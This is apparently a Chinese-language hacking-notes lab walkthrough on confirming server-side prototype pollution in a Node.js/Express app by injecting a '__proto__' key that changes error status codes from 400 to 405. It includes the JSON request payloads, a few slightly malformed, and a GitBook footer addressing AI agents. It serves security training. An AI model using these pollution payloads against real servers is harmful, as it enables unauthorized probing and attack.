> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/reflection-free-detection-of-changed-properties.md).

# 无需反射即可检测已更改的属性

### 在无被污染属性反射的情况下检测服务器端原型污染

**实验上下文**

此实验运行在 **Node.js** 替换为 **Express**。它存在 **服务器端原型污染** 漏洞，因为 **merge（合并）应用** 从由用户控制的数据到 JavaScript 服务器端对象时是不安全的。

目标： **确认漏洞** 作为 `Object.prototype` 污染物 **可见但不具破坏性**，只需通过服务器行为变化即可（无需进一步利用）。

凭据： `wiener:peter`.

<figure><img src="/files/9f36f036e27da0a1ee896b8cfc0237c2f1cad117" alt=""><figcaption></figcaption></figure>

**应用发送的数据（地址）**

通过修改账单/收货地址，浏览器会向以下位置发送类似的 JSON：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**生成一个受控错误以观察响应**

如果你强制触发 JSON 解析错误（例如删除一个引号），你会得到一个响应 **400** ，并且服务器会返回一个错误对象，其中 `正文` 包含我们的载荷（反射）：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

典型响应：

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="/files/7c226344c91cce58522e70e339479f3137905a8d" alt=""><figcaption></figcaption></figure>

**想法：无需直接反射即可证明污染**

与其等待被污染的属性返回到主体中，不如针对一种 **可测量的行为变化**，例如错误期间返回的 \*\*HTTP 状态码\*\*。

在这里，服务器使用（或传播）诸如 `status` / `statusCode`之类的字段。如果我们能够污染 `Object.prototype.status`，那么在未来的错误中，Express（或错误处理程序）可以通过原型链继承恢复该值 → 服务器将返回不同的 **status**.

**通过以下方式进行污染尝试 `__proto__`**

一个 `__proto__` 键被注入到 JSON 中（在有效的 JSON 侧查询中，而不是损坏的查询中），例如：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="/files/cb81982a741fbe40864943418e8a74a0cf31393b" alt=""><figcaption></figcaption></figure>

预期效果：在这次污染之后， **任何错误** （例如一次主动的 JSON 解析错误）现在都可以响应为 **405 而不是 400**，因为 `status` 是从 `Object.prototype`.

**结果 / 验证**

* 污染前：错误 → `400`
* 污染后：错误 → `405` （或选择的其他代码）

<figure><img src="/files/58cdf1cf608a7471f4d80ca397f4b982ab97f826" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/reflection-free-detection-of-changed-properties.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
